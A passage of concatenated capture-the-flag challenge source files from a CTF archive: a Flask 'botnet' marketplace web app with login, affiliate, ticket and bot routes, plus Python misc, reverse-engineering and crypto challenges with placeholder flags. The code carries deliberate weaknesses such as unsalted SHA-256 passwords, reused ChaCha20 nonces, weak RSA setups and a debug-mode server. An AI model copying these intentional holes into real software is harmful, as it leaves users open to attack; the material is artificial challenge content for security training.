if type(email) is not str or type(username) is not str or type(password) is not str or type(bitcoin_wallet) is not str:
return jsonify({'message': 'Invalid parameter data'}), 400
# ensure email is valid
if not re.fullmatch(r'\b[A-Za-z0-9._+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,7}\b', email):
return jsonify({'message': 'Invalid email'}), 400
# ensure username is valid
if len(username) < 4 or len(username) > 255:
return jsonify({'message': 'Invalid username length'}), 400
# ensure username isn't already taken
cur = mysql.connection.cursor()
cur.execute("SELECT username FROM User WHERE username=%s", (username,))
users_found = cur.rowcount
cur.close()
username_taken = (users_found > 0)
if username_taken:
return jsonify({'message': 'Username already taken'}), 500
# ensure password is valid
if len(password) < 12 or len(password) > 255:
return jsonify({'message': 'Password doesn\'t fit length requirements'}), 400
# ensure bitcoin wallet is valid
if not re.fullmatch(r'0x[0-9a-fA-F]+', bitcoin_wallet):
return jsonify({'message': 'Invalid bitcoin wallet'}), 400
# byuctf{fakeflag1}
# insert user into database
cur = mysql.connection.cursor()
cur.execute("INSERT INTO User (email, username, password, blocked, bitcoin_wallet) VALUES (%s, %s, %s, %s, %s)", (email, username, sha256(password.encode()).hexdigest(), 0, bitcoin_wallet))
mysql.connection.commit()
user_id = cur.lastrowid
cur.close()
# add user as affiliate
cur = mysql.connection.cursor()
cur.execute("INSERT INTO Affiliates (user_id, Money_received, total_bots_added) VALUES (%s, %s, %s)", (user_id, 0, 0))
mysql.connection.commit()
cur.close()
response = {"user_id": user_id}
return jsonify(response), 200
# POST login
@app.route('/api/login', methods=['POST'])
def post_login():
# ensure needed parameters are present
if (request.json is None) or ('username' not in request.json) or ('password' not in request.json):
return jsonify({'message': 'Missing required parameters'}), 400
username = request.json['username']
password = request.json['password']
# ensure parameters are strings
if type(username) is not str or type(password) is not str:
return jsonify({'message': 'Invalid parameter data'}), 400
# ensure password is valid
if len(password) < 12 or len(password) > 255:
return jsonify({'message': 'Password doesn\'t fit length requirements'}), 400
# check if username exists
cur = mysql.connection.cursor()
cur.execute("SELECT user_id,password,blocked FROM User WHERE username=%s", (username,))
users_found = cur.rowcount
response = cur.fetchone()
cur.close()
exists = (users_found > 0)
if not exists:
return jsonify({'message': 'Invalid username or password'}), 401
user_id = response[0]
hash = response[1]
blocked = response[2]
# check if user is staff
cur = mysql.connection.cursor()
cur.execute("SELECT * FROM Support_Staff WHERE user_id=%s", (user_id,))
staff_found = cur.rowcount
cur.close()
is_staff = (staff_found > 0)
# check if password is correct
if sha256(password.encode()).hexdigest() != hash:
return jsonify({'message': 'Invalid username or password'}), 401
# check if user is blocked
if blocked:
return jsonify({'message': 'User is blocked'}), 401
# generate JWT
token = jwt.encode({'user_id': user_id, "is_staff": is_staff}, app.config['SECRET_KEY'], algorithm='HS256')
resp = make_response(jsonify({'message': 'Successfully logged in', 'flag':('byuctf{fakeflag4}' if len(username) < 4 else 'Nope')}), 200)
resp.set_cookie('token', token, httponly=True, samesite='Strict', max_age=None)
return resp | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2023/web/urmombotnetdotnetcom_1/app/account_routes.py | ctfs/BYUCTF/2023/web/urmombotnetdotnetcom_1/app/account_routes.py | # imports
from __main__ import app, token_required, BOT_PRICE_LINUX_WINDOWS, BOT_PRICE_MACOS, mysql
from flask import jsonify, request
import ipaddress
# GET user information
@app.route('/api/users/<int:user_id>', methods=['GET'])
@token_required
def get_user(session_data, user_id):
# ensure user is authorized to access the information
if (not session_data['is_staff']) and (session_data['user_id'] != user_id):
return jsonify({'message': 'You do not have permission to access this information'}), 403
# get user information
cur = mysql.connection.cursor()
cur.execute("SELECT user_id, email, username, blocked, bitcoin_wallet FROM User WHERE user_id=%s", (user_id,))
user_data = cur.fetchone()
cur.close()
if not user_data:
return jsonify({'message': 'User not found'}), 404
return jsonify({"user_id": user_data[0], "email": user_data[1], "username": user_data[2], "blocked": bool(user_data[3]), "bitcoin_wallet": user_data[4]}), 200
# GET affiliate information
@app.route('/api/affiliates/<int:affiliate_id>', methods=['GET'])
@token_required
def get_affiliate(session_data, affiliate_id):
# get user_id from affiliate_id
cur = mysql.connection.cursor()
cur.execute("SELECT user_id, total_bots_added, money_received FROM Affiliates WHERE affiliate_id=%s", (affiliate_id,))
response = cur.fetchone()
cur.close()
if (not response) and session_data['is_staff']:
return jsonify({'message': 'Affiliate not found'}), 404
if (not response) or (session_data['user_id'] != response[0]):
return jsonify({'message': 'You do not have permission to access this information'}), 403
affiliate_data = {"affiliate_id": affiliate_id, "user_id": response[0], "total_bots_added": response[1], "money_received": response[2]}
return jsonify(affiliate_data), 200
# POST add a bot as an affiliate
@app.route('/api/bots', methods=['POST'])
@token_required
def post_add_bot(session_data):
# ensure needed parameters are present
if (request.json is None) or ('os' not in request.json) or ('ip_address' not in request.json):
return jsonify({'message': 'Missing required parameters'}), 400
os = request.json['os']
ip_address = request.json['ip_address']
user_id = session_data["user_id"]
# ensure parameters are strings
if type(os) is not str or type(ip_address) is not str:
return jsonify({'message': 'Invalid parameter data'}), 400
# validate os
if os not in ['Windows', 'Linux', 'MacOS']:
return jsonify({'message': 'Invalid OS'}), 400
# validate ip_address
try:
ipaddress.ip_address(ip_address)
except ValueError:
return jsonify({'message': 'Invalid IP address'}), 400
# see if IP address is already added
cur = mysql.connection.cursor()
cur.execute("SELECT bot_id FROM Bots WHERE ip_address=%s", (ip_address,))
response = cur.fetchone()
if response:
return jsonify({'message': 'IP address already added'}), 400
# select affiliate id from user id
cur.execute("SELECT affiliate_id, Total_bots_added, money_received FROM Affiliates WHERE user_id=%s", (user_id,))
result = cur.fetchone()
affiliate_id = result[0]
old_total_bots_added = result[1]
old_money_received = result[2]
# byuctf{fakeflag5}
# add bot to database
cur.execute("INSERT INTO Bots (os, ip_address) VALUES (%s, %s)", (os, ip_address))
mysql.connection.commit()
bot_id = cur.lastrowid
cur.execute("INSERT INTO Adds VALUES (%s, %s)", (bot_id, affiliate_id))
# update affiliate information
cur.execute("UPDATE Affiliates SET total_bots_added=%s, money_received=%s WHERE affiliate_id=%s", (old_total_bots_added+1, old_money_received+(BOT_PRICE_LINUX_WINDOWS if os!='MacOS' else BOT_PRICE_MACOS), affiliate_id))
mysql.connection.commit()
cur.close()
response = {"bot_id": bot_id, "payment": BOT_PRICE_LINUX_WINDOWS if os!='MacOS' else BOT_PRICE_MACOS}
return jsonify(response), 200
# POST send a command to a botnet
@app.route('/api/bots/command', methods=['POST'])
@token_required
def post_send_command(session_data):
# ensure needed parameters are present
if (request.json is None) or ('bot_id' not in request.json) or ('command' not in request.json):
return jsonify({'message': 'Missing required parameters'}), 400
bot_id = request.json['bot_id']
command = request.json['command']
# ensure parameters are correct
if type(bot_id) is not int or type(command) is not str:
return jsonify({'message': 'Invalid parameter data'}), 400
# ensure user is authorized to access the information because they are the owner of the bot
user_id = session_data["user_id"]
cur = mysql.connection.cursor()
cur.execute("SELECT bot_id FROM User_Bots WHERE User_ID=%s AND bot_id=%s", (user_id, bot_id))
response = cur.fetchone()
cur.close()
authorized = False
if response and response[0] == bot_id:
authorized = True
if not authorized:
return jsonify({'message': 'You do not have permission to access this information'}), 403
# send command to bot
"lol"
response = {"output": "root"}
return jsonify(response), 200 | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2023/web/urmombotnetdotnetcom_1/app/server.py | ctfs/BYUCTF/2023/web/urmombotnetdotnetcom_1/app/server.py | # imports
from flask import Flask, jsonify, request
import jwt, secrets
from flask_mysqldb import MySQL
from functools import wraps
import os
# initialize flask
app = Flask(__name__)
PORT = 8000
BOT_PRICE_LINUX_WINDOWS = 25.00
BOT_PRICE_MACOS = 50.00
BOT_MONTHLY_PRICE = 5.00
# set up MySQL integration
app.config['MYSQL_HOST'] = "mysql"
app.config['MYSQL_USER'] = os.environ["MYSQL_USER"]
app.config['MYSQL_PASSWORD'] = os.environ["MYSQL_PASSWORD"]
app.config['MYSQL_DB'] = os.environ["MYSQL_DB"]
mysql = MySQL(app)
# set up JWT integration
app.config['SECRET_KEY'] = secrets.token_hex(32)
# JWT verification function
def token_required(f):
@wraps(f)
def decorator(*args, **kwargs):
token = request.cookies.get('token')
# ensure token is present
if not token:
return jsonify({'message': 'Token is missing'}), 401
# ensure token is valid
try:
session_data = jwt.decode(token, app.config['SECRET_KEY'], algorithms=["HS256"])
except:
return jsonify({'message': 'Token is invalid'}), 401
return f(session_data, *args, **kwargs)
return decorator
### REGISTER/LOGIN FUNCTIONALITY ###
import login_routes
### ACCOUNT FUNCTIONALITY ###
import account_routes
### TICKET FUNCTIONALITY ###
import ticket_routes
### BOTNET ORDER FUNCTIONALITY ###
import botnet_order_routes
# run the app
if __name__ == "__main__":
app.run(host='0.0.0.0', port=PORT, threaded=True, debug=True) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2023/web/urmombotnetdotnetcom_1/app/ticket_routes.py | ctfs/BYUCTF/2023/web/urmombotnetdotnetcom_1/app/ticket_routes.py | # imports
from __main__ import app, token_required, mysql
from flask import jsonify, request
from datetime import datetime
# GET ticket information
@app.route('/api/tickets/<int:ticket_id>', methods=['GET'])
@token_required
def get_ticket(session_data, ticket_id):
# get user_id from ticket_id
cur = mysql.connection.cursor()
cur.execute("SELECT user_id, description, messages FROM Support_Tickets WHERE ticket_id=%s", (ticket_id,))
response = cur.fetchone()
cur.close()
if not response and session_data['is_staff']:
return jsonify({'message': 'Ticket not found'}), 404
if not response or session_data['user_id'] != response[0]:
return jsonify({'message': 'You do not have permission to access this information'}), 403
response = {"ticket_id": ticket_id, "user_id": response[0], "description": response[1], "messages":response[2]}
return jsonify(response), 200
# POST create a ticket
@app.route('/api/tickets', methods=['POST'])
@token_required
def post_create_ticket(session_data):
# ensure needed parameters are present
if (request.json is None) or ('description' not in request.json):
return jsonify({'message': 'Missing required parameters'}), 400
user_id = session_data["user_id"]
description = request.json['description']
timestamp = datetime.utcnow().isoformat()
# ensure parameters are integers
if type(description) is not str:
return jsonify({'message': 'Invalid parameter data'}), 400
# byuctf{fakeflag2}
# insert ticket into database
cur = mysql.connection.cursor()
cur.execute("INSERT INTO Support_Tickets (description, messages, time_stamp, user_id) VALUES (%s, %s, %s, %s)", (description, "", timestamp, user_id))
mysql.connection.commit()
ticket_id = cur.lastrowid
cur.close()
response = {"ticket_id": ticket_id, "description": description, "time_stamp": timestamp}
return jsonify(response), 200
# POST add a message to a ticket
@app.route('/api/tickets/<int:ticket_id>', methods=['POST'])
@token_required
def post_add_message(session_data, ticket_id):
# get user_id from ticket_id
cur = mysql.connection.cursor()
cur.execute("SELECT user_id, message FROM support_tickets WHERE ticket_id=%s", (ticket_id,))
response = cur.fetchone()
cur.close()
if not response and session_data['is_staff']:
return jsonify({'message': 'Ticket not found'}), 404
if not response or session_data['user_id'] != response[0]:
return jsonify({'message': 'You do not have permission to access this information'}), 403
# ensure needed parameters are present
if (request.json is None) or ('message' not in request.json):
return jsonify({'message': 'Missing required parameters'}), 400
message = request.json['message']
# ensure parameters are integers
if type(message) is not str:
return jsonify({'message': 'Invalid parameter data'}), 400
# byuctf{fakeflag3}
# insert message into database
cur = mysql.connection.cursor()
new_message = response[1] + "\n" + message
cur.execute("UPDATE Support_Tickets SET message=%s WHERE ticket_id=%s", (new_message, ticket_id))
mysql.connection.commit()
cur.close()
response = {"ticket_id": ticket_id, "message": message}
return jsonify(response), 200 | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2025/misc/Hash_Psycho/hash_psycho.py | ctfs/BYUCTF/2025/misc/Hash_Psycho/hash_psycho.py | FLAG = "byuctf{}"
class User:
def __init__(self, username, id):
self.username = username
self.id = id
def __eq__(self, other):
return self.id == other.id
def __hash__(self):
return hash(self.id)
ADMIN = User('admin', 1337)
print("Welcome to onboarding! I'm Jacob from HR, and I'm here to make your experience as seamless as possible joining the company")
print("Go ahead and tell me your name:")
name = input()
print("Welcome to the company, " + name)
print("We also give you a user id, but in an attempt to make this company feel like home, we've decided to give you a choice in that, too. Go ahead and choose that now:")
id_ = input()
if not all([i in '0987654321' for i in id_]):
print("That's not an id!")
quit()
id_ = int(id_)
if id_ == 1337:
print("Sorry, the admin already claimed that id, no can do")
quit()
YOURUSER = User(name, id_)
print("Okay, you're all set! Just head into your office. The admin's is right next door, but you can just ignore that")
print("""*You realize you have freedom of choice. Choose a door*
1) your office
2) the admin's office
""")
choice = int(input())
if choice == 1:
if hash(YOURUSER) == hash(YOURUSER):
print("Man, this is a nice office")
quit()
else:
print("Hey, HR, my key doesn't work yet!")
quit()
elif choice == 2:
if hash(YOURUSER) == hash(ADMIN):
print(FLAG)
quit()
else:
print("The HR guy tackles you to the ground for insolence")
quit()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2025/rev/u/u.py | ctfs/BYUCTF/2025/rev/u/u.py | ù,ú,û,ü,ũ,ū,ŭ,ů,ű,ų,ṳ,ṷ,ụ=chr,ord,abs,input,all,print,len,input,pow,range,list,dict,set;ù=[12838,1089,16029,13761,1276,14790,2091,17199,2223,2925,17901,3159,18135,18837,3135,19071,4095,19773,4797,4085,20007,5733,20709,17005,2601,9620,3192,9724,3127,8125];u,U=3,256;ṷ=ü();ʉ=ṳ(ụ([ű(u,û,U) for û in(ų(U))]))[u:ŭ(ù)+u];ṳ=zip;ṷ=[ú(û) for û in(ṷ)];assert(ŭ(ù)==ŭ(ṷ));assert(ũ([û*ü==ū for û,ü,ū in(ṳ(ʉ,ṷ,ù))])); | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2025/crypto/Choose_Your_RSA/server.py | ctfs/BYUCTF/2025/crypto/Choose_Your_RSA/server.py | #!/usr/local/bin/python
from Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long, getPrime
from Crypto.Util.Padding import pad
import os
print("[+] Generating values...", flush=True)
flag = open("/app/flag.txt").read().encode()
key = os.urandom(160)
p, q, n, e = [], [], [], []
for i in range(3):
p.append(getPrime(1024+512*i))
q.append(getPrime(1024+512*i))
n.append(p[i]*q[i])
cipher = AES.new(key[:16], AES.MODE_ECB)
print(cipher.encrypt(pad(flag, AES.block_size)).hex())
print("We will encrypt the key three times, and you can even choose the value of e. Please put your distinct e values in increasing order.")
try:
e = list(map(int, input().split(" ")))
assert e[0]>1
assert e[1]>e[0]
assert e[2]>e[1]
except Exception as e:
print("sorry, invalid input")
quit()
key = bytes_to_long(key)
for i in range(3):
print(f"n{i}=",n[i], sep="")
print(f"c{i}=", pow(key, e[i], n[i]), sep="") | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2025/crypto/Cycles/main.py | ctfs/BYUCTF/2025/crypto/Cycles/main.py | from Crypto.Util.number import long_to_bytes, bytes_to_long, isPrime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
# Can you undo this?
from hidden import p,N,a,flag,g
# these are for you :)
assert isPrime(p)
assert len(bin(a)) < 1050
hint = pow(g, a, p)
key = long_to_bytes(a)[:16]
cipher = AES.new(key, AES.MODE_ECB)
ct = cipher.encrypt(pad(flag, AES.block_size))
# Now for your hints
print(f"g = {g}")
print(f"P = {p}")
print(f"ciphertext = {ct}")
print(f"Hint = {hint}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2025/crypto/Hash_Based_Cryptography/server.py | ctfs/BYUCTF/2025/crypto/Hash_Based_Cryptography/server.py | #!/usr/local/bin/python
import hashlib
from secrets import KEY, FLAG
def gen_otp(key: bytes, message: bytes) -> bytes:
iv = key
otp = b''
for _ in range(len(message)//20):
iv = hashlib.sha1(iv).digest()
otp += iv
return otp
def pad(message):
if type(message) is str:
message = message.encode()
return message + bytes([(20 - len(message)) % 20]) * ((20 - len(message)) % 20)
def unpad(message):
if message[-1] > 20 or message[-1] != message[-message[-1]]:
print("Padding error")
raise ValueError("Invalid padding")
return message[:-message[-1]]
def encrypt(key, message) -> str:
if type(key) is str:
key = key.encode()
return bytes([a^b for a, b in zip(pad(message), gen_otp(key, pad(message)))]).hex()
def decrypt(key, message) -> str:
if type(key) is str:
key = key.encode()
try:
message = bytes.fromhex(message)
return unpad(bytes([a^b for a, b in zip(message, gen_otp(key, pad(message)))])).decode(errors='ignore')
except Exception as e:
return f"Error decrypting"
def test():
print(encrypt("key", "hello world"))
print(decrypt("key", "ce4a4e49d050c8c3b9ab95e62330713f787a7ed7"))
def main():
print("I just created this encryption system. I think it's pretty cool")
print("Here's the encrypted flag:")
print(encrypt(KEY, FLAG))
print("Here, you can try it out, too:")
while True:
user_input = input(" > ")
decrypted = decrypt(KEY, user_input)
if FLAG in decrypted or "byuctf" in decrypted:
print("I didn't make it that easy")
continue
print(decrypted.encode())
if __name__ == "__main__":
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2025/crypto/Many_Primes/encrypt.py | ctfs/BYUCTF/2025/crypto/Many_Primes/encrypt.py | from Crypto.Util.number import bytes_to_long, getPrime
import random
flag = open("flag.txt").read().encode()
flag = bytes_to_long(flag)
n = 1
while n.bit_length()<4096:
i = random.randint(10,16)
reps = random.randint(2,5)
p = getPrime(i)
if n%p !=0:
n*=p**reps
e = 65537
encryptedFlag = pow(flag, e, n)
print(f"n = {n}")
print(f"e = {e}")
print(f"flag = {encryptedFlag}") | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2025/crypto/Anaken21sec1/encrypt.py | ctfs/BYUCTF/2025/crypto/Anaken21sec1/encrypt.py | import numpy as np
from random import choice
A = np.array([[1, 7, 13, 19, 25, 31],
[2, 8, 14, 20, 26, 32],
[3, 9, 15, 21, 27, 33],
[4, 10, 16, 22, 28, 34],
[5, 11, 17, 23, 29, 35],
[6, 12, 18, 24, 30, 36]])
B = np.array([[36, 30, 24, 18, 12, 6],
[35, 29, 23, 17, 11, 5],
[34, 28, 22, 16, 10, 4],
[33, 27, 21, 15, 9, 3],
[32, 26, 20, 14, 8, 2],
[31, 25, 19, 13, 7, 1]])
C = np.array([[31, 25, 19, 13, 7, 1],
[32, 26, 20, 14, 8, 2],
[33, 27, 21, 15, 9, 3],
[34, 28, 22, 16, 10, 4],
[35, 29, 23, 17, 11, 5],
[36, 30, 24, 18, 12, 6]])
D = np.array([[7, 1, 9, 3, 11, 5],
[8, 2, 10, 4, 12, 6],
[19, 13, 21, 15, 23, 17],
[20, 14, 22, 16, 24, 18],
[31, 25, 33, 27, 35, 29],
[32, 26, 34, 28, 36, 30]])
E = np.array([[2, 3, 9, 5, 6, 12],
[1, 11, 15, 4, 29, 18],
[7, 13, 14, 10, 16, 17],
[20, 21, 27, 23, 24, 30],
[19, 8, 33, 22, 26, 36],
[25, 31, 32, 28, 34, 35]])
permutes = [A, B, C, D, E]
def getRandomKey():
letters = "abcdefghijklmnopqrstuvwxy"
key = choice(letters)
for i in range(1,11):
oldletter = key[i-1]
newletter = choice(letters)
oldletterNum = ord(oldletter)-97
newletterNum = ord(newletter)-97
while (newletterNum//5 == oldletterNum//5 or newletterNum%5 == oldletterNum % 5) or newletter in key:
newletter = choice(letters)
newletterNum = ord(newletter)-97
key+=newletter
return key
def permute(blockM, count):
finalBlockM = np.zeros((6,6))
for i in range(6):
for j in range(6):
index = int(permutes[count][i,j]-1)
finalBlockM[i,j] = blockM[index//6, index%6]
return finalBlockM
def add(blockM, count):
if count == 0:
for i in range(6):
for j in range(6):
if (i+j)%2 == 0:
blockM[i,j] +=1
elif count == 1:
blockM[3:,3:] = blockM[3:,3:]+blockM[:3,:3]
elif count == 2:
blockM[:3,:3] = blockM[3:,3:]+blockM[:3,:3]
elif count == 3:
blockM[3:,:3] = blockM[3:,:3]+blockM[:3,3:]
else:
blockM[:3,3:] = blockM[3:,:3]+blockM[:3,3:]
return np.mod(blockM, 3)
def encrypt(plaintext, key):
plaintext += "x"*((12-len(plaintext)%12)%12)
blocks = [plaintext[12*i:12*(i+1)] for i in range(0,len(plaintext)//12)]
keyNums = [ord(key[i])-97 for i in range(len(key))]
resultLetters = ""
#do the block permutations and additions
for block in blocks:
#make 6 by 6 matrix
blockM =np.zeros((6,6))
for (i,letter) in enumerate(block[0:6]):
letterNum = ord(letter)-96
blockM[0,i] = letterNum//9
blockM[1,i] = (letterNum%9)//3
blockM[2,i] = letterNum%3
for (i,letter) in enumerate(block[6:]):
letterNum = ord(letter)-96
blockM[3,i] = letterNum//9
blockM[4,i] = (letterNum%9)//3
blockM[5,i] = letterNum%3
#scramble matrix
for keyNum in keyNums:
blockM = permute(blockM,(keyNum//5)%5)
blockM = add(blockM, keyNum%5)
#get resulting letters from matrix
for i in range(6):
resultLetterNum = int(9*blockM[i,0]+3*blockM[i,1]+blockM[i,2])
if resultLetterNum == 0:
resultLetters += "0"
else:
resultLetters += chr(resultLetterNum+96)
for i in range(6):
resultLetterNum = int(9*blockM[i,3]+3*blockM[i,4]+blockM[i,5])
if resultLetterNum == 0:
resultLetters += "0"
else:
resultLetters += chr(resultLetterNum+96)
#rearrange ciphertext according to the key
reducedKeyNums = []
[reducedKeyNums.append(x) for x in keyNums if x not in reducedKeyNums]
letterBoxes = [[] for i in reducedKeyNums]
finalEncryptedText = ""
for i in range(len(resultLetters)):
letterBoxes[i%len(reducedKeyNums)].append(resultLetters[i])
for i in range(len(reducedKeyNums)):
nextLowest = reducedKeyNums.index(min(reducedKeyNums))
reducedKeyNums[nextLowest] = 27
for letter in letterBoxes[nextLowest]:
finalEncryptedText+=letter
return(finalEncryptedText)
if __name__ == "__main__":
plaintext = input("What would you like to encrypt?\n")
plaintextList = [letter.lower() for letter in plaintext if letter.isalpha()]
plaintext = ""
for letter in plaintextList:
plaintext += letter
key = input("Enter the encryption key. Leave blank to randomly generate.\n")
if key == "":
key = getRandomKey()
print(f"Your key is: {key}")
print(encrypt(plaintext, key))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2025/crypto/Real_Smooth/real-smooth.py | ctfs/BYUCTF/2025/crypto/Real_Smooth/real-smooth.py | #!/usr/local/bin/python
from Crypto.Cipher import ChaCha20
from Crypto.Random import get_random_bytes
from secrets import FLAG
key = get_random_bytes(32)
nonce = get_random_bytes(8)
cipher = ChaCha20.new(key=key, nonce=nonce)
print(bytes.hex(cipher.encrypt(b'Slide to the left')))
print(bytes.hex(cipher.encrypt(b'Slide to the right')))
try:
user_in = input().rstrip('\n')
cipher = ChaCha20.new(key=key, nonce=nonce)
decrypted = cipher.decrypt(bytes.fromhex(user_in))
if decrypted == b'Criss cross, criss cross':
print("Cha cha real smooth")
print(FLAG)
else:
print("Those aren't the words!")
except Exception as e:
print("Those aren't the words!")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2025/crypto/Anaken21sec2/break.py | ctfs/BYUCTF/2025/crypto/Anaken21sec2/break.py | #!/usr/local/bin/python
import encrypt
key = encrypt.getRandomKey()
flag = open("flag.txt").read().strip().split("byuctf{")[1].split("}")[0]
flag = [letter.lower() for letter in flag if letter.isalpha()]
print(encrypt.encrypt(flag, key))
for _ in range(20):
plaintext = input("What to encrypt:\n")
plaintext = [letter.lower() for letter in plaintext if letter.isalpha()]
if plaintext == "":
break
print(encrypt.encrypt(plaintext, key)) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2025/crypto/Anaken21sec2/encrypt.py | ctfs/BYUCTF/2025/crypto/Anaken21sec2/encrypt.py | import numpy as np
from random import choice
A = np.array([[1, 7, 13, 19, 25, 31],
[2, 8, 14, 20, 26, 32],
[3, 9, 15, 21, 27, 33],
[4, 10, 16, 22, 28, 34],
[5, 11, 17, 23, 29, 35],
[6, 12, 18, 24, 30, 36]])
B = np.array([[36, 30, 24, 18, 12, 6],
[35, 29, 23, 17, 11, 5],
[34, 28, 22, 16, 10, 4],
[33, 27, 21, 15, 9, 3],
[32, 26, 20, 14, 8, 2],
[31, 25, 19, 13, 7, 1]])
C = np.array([[31, 25, 19, 13, 7, 1],
[32, 26, 20, 14, 8, 2],
[33, 27, 21, 15, 9, 3],
[34, 28, 22, 16, 10, 4],
[35, 29, 23, 17, 11, 5],
[36, 30, 24, 18, 12, 6]])
D = np.array([[7, 1, 9, 3, 11, 5],
[8, 2, 10, 4, 12, 6],
[19, 13, 21, 15, 23, 17],
[20, 14, 22, 16, 24, 18],
[31, 25, 33, 27, 35, 29],
[32, 26, 34, 28, 36, 30]])
E = np.array([[2, 3, 9, 5, 6, 12],
[1, 11, 15, 4, 29, 18],
[7, 13, 14, 10, 16, 17],
[20, 21, 27, 23, 24, 30],
[19, 8, 33, 22, 26, 36],
[25, 31, 32, 28, 34, 35]])
permutes = [A, B, C, D, E]
def getRandomKey():
letters = "abcdefghijklmnopqrstuvwxy"
key = choice(letters)
for i in range(1,11):
oldletter = key[i-1]
newletter = choice(letters)
oldletterNum = ord(oldletter)-97
newletterNum = ord(newletter)-97
while (newletterNum//5 == oldletterNum//5 or newletterNum%5 == oldletterNum % 5) or newletter in key:
newletter = choice(letters)
newletterNum = ord(newletter)-97
key+=newletter
return key
def permute(blockM, count):
finalBlockM = np.zeros((6,6))
for i in range(6):
for j in range(6):
index = int(permutes[count][i,j]-1)
finalBlockM[i,j] = blockM[index//6, index%6]
return finalBlockM
def add(blockM, count):
if count == 0:
for i in range(6):
for j in range(6):
if (i+j)%2 == 0:
blockM[i,j] +=1
elif count == 1:
blockM[3:,3:] = blockM[3:,3:]+blockM[:3,:3]
elif count == 2:
blockM[:3,:3] = blockM[3:,3:]+blockM[:3,:3]
elif count == 3:
blockM[3:,:3] = blockM[3:,:3]+blockM[:3,3:]
else:
blockM[:3,3:] = blockM[3:,:3]+blockM[:3,3:]
return np.mod(blockM, 3)
def encrypt(plaintext, key):
plaintext += "x"*((12-len(plaintext)%12)%12)
blocks = [plaintext[12*i:12*(i+1)] for i in range(0,len(plaintext)//12)]
keyNums = [ord(key[i])-97 for i in range(len(key))]
resultLetters = ""
#do the block permutations and additions
for block in blocks:
#make 6 by 6 matrix
blockM =np.zeros((6,6))
for (i,letter) in enumerate(block[0:6]):
letterNum = ord(letter)-96
blockM[0,i] = letterNum//9
blockM[1,i] = (letterNum%9)//3
blockM[2,i] = letterNum%3
for (i,letter) in enumerate(block[6:]):
letterNum = ord(letter)-96
blockM[3,i] = letterNum//9
blockM[4,i] = (letterNum%9)//3
blockM[5,i] = letterNum%3
#scramble matrix
for keyNum in keyNums:
blockM = permute(blockM,(keyNum//5)%5)
blockM = add(blockM, keyNum%5)
#get resulting letters from matrix
for i in range(6):
resultLetterNum = int(9*blockM[i,0]+3*blockM[i,1]+blockM[i,2])
if resultLetterNum == 0:
resultLetters += "0"
else:
resultLetters += chr(resultLetterNum+96)
for i in range(6):
resultLetterNum = int(9*blockM[i,3]+3*blockM[i,4]+blockM[i,5])
if resultLetterNum == 0:
resultLetters += "0"
else:
resultLetters += chr(resultLetterNum+96)
#rearrange ciphertext according to the key
reducedKeyNums = []
[reducedKeyNums.append(x) for x in keyNums if x not in reducedKeyNums]
letterBoxes = [[] for i in reducedKeyNums]
finalEncryptedText = ""
for i in range(len(resultLetters)):
letterBoxes[i%len(reducedKeyNums)].append(resultLetters[i])
for i in range(len(reducedKeyNums)):
nextLowest = reducedKeyNums.index(min(reducedKeyNums))
reducedKeyNums[nextLowest] = 27
for letter in letterBoxes[nextLowest]:
finalEncryptedText+=letter
return(finalEncryptedText)
if __name__ == "__main__":
plaintext = input("What would you like to encrypt?\n")
